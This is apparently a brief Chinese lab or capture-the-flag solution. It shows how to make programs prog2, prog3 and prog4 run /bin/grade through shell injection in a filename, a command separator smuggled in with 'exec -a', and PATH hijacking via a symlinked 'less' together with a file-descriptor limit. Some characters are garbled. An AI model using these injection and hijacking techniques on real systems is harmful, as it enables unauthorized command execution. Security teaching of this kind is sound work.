通过利用shell注入漏洞可以解决这个问题。
对于prog2:
$ /usr/local/bin/prog2
出现提示时,输入 /bin/grade 作为杀菌者忘记解决的特殊字符中的文件名。
/bin/grade
对于prog3:
$ exec -a ��;/bin/grade�� /usr/local/bin/prog3 5000
但你必须打 Ctrl+C 快速以便调用中断信号功能。
Ctrl+C
对于prog4:
$ cd ~/ $ export PATH=/path/to/your/home:$PATH //prepend the path to your current/home directory so that the system looks there for `less` $ ln -s -f /bin/grade less $ ulimit -n 6 $ /usr/local/bin/prog4